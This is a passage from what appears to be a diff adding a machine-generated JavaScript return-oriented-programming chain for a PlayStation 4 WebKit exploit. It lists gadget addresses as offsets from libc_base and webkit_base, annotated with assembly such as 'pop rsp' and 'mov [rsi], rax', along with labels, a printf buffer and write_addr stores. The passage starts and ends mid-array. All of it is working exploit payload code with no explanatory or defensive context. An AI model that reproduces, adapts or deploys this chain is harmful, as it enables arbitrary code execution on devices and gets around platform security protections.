rax, [rsi] +libc_base+713278, //pop rsi +ropchain+163984, //L2400 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+163936, //L2397 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+163968, //L2399 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2397: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2398: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2399: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2400: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+164080, //L2402 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+164064, //L2401 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2401: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2402: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2404: +ropchain+164184, //L2403 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+166648, //L2405 +//L2403: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +//L2381: +libc_base+713278, //pop rsi +ropchain+164272, //L2407 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2406: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2407: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+164376, //L2410 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+164360, //L2409 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2409: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2410: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229136, //mov al, [rdi] +libc_base+713278, //pop rsi +ropchain+164536, //L2415 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+164504, //L2413 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+164520, //L2414 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2412: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L2413: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2414: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2415: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+164592, //L2416 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2416: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+164720, //L2419 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+164736, //L2420 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+164704, //L2418 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2418: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2419: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2420: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+164896, //L2424 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+164864, //L2422 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+164880, //L2423 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2421: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L2422: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2423: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2424: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+164952, //L2425 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2425: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+165080, //L2428 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+165096, //L2429 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+165064, //L2427 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2427: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2428: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2429: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+165176, //L2430 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+165192, //L2431 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2430: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2431: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+165352, //L2435 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+165320, //L2433 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+165336, //L2434 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2432: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L2433: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2434: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2435: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+165408, //L2436 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2436: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+165536, //L2439 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+165552, //L2440 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+165520, //L2438 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2438: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2439: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2440: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+165648, //L2442 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+165632, //L2441 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2441: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2442: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+165784, //L2445 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+165752, //L2443 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2443: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+165442, //pop rdi +//L2444: +ropchain+128, //_ps4_printf_buffer +libc_base+768796 //pop rax +]); +//L2445: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+165928, //L2448 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+165896, //L2446 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+165912, //L2447 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2446: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2447: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2448: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+166016, //L2450 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2449: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2450: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+166064, //L2451 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2451: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+768796, //pop rax +//L2452: +ropchain+128, //_ps4_printf_buffer +webkit_base+2989859, //mov [rax], rcx +libc_base+713278, //pop rsi +ropchain+166136, //L2453 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2453: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+166216, //L2455 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2455: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+166272, //L2457 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2457: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+166400, //L2460 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+166384, //L2459 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2459: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2460: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+166504, //L2461 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+166520, //L2462 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2461: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2462: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+166640, //L2463 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+166624, //L2464 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2464: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2463: +db([0, 0]); // 0x0 +//L2405: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +write_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+167968, //L2465 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2465: +db([0, 0]); // 0x0 +//___bswap64_var: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+168040, //L2467 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2467: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+168152, //L2469 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+168168, //L2470 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L2468: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L2469: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2470: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+168272, //L2473 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+168256, //L2472 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2472: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2473: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+168384, //L2475 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+168416, //L2477 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+168400, //L2476 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2475: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2476: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2477: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+168520, //L2478 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+168536, //L2479 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2478: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2479: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+168656, //L2480 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+168640, //L2481 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2481: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2480: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+168744, //L2483 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+168728, //L2482 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2482: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2483: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+168848, //L2484 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+168864, //L2485 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2484: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2485: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+168984, //L2486 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+168968, //L2487 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2487: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2486: +db([0, 0]); // 0x0 +//___bswap32_var: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+169056, //L2489 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2489: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+169168, //L2491 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+169184, //L2492 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L2490: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L2491: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2492: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+169288, //L2495 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+169272, //L2494 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2494: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2495: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+169448, //L2498 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+169480, //L2500 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+169432, //L2497 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+169464, //L2499 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2497: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2498: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2499: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2500: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi 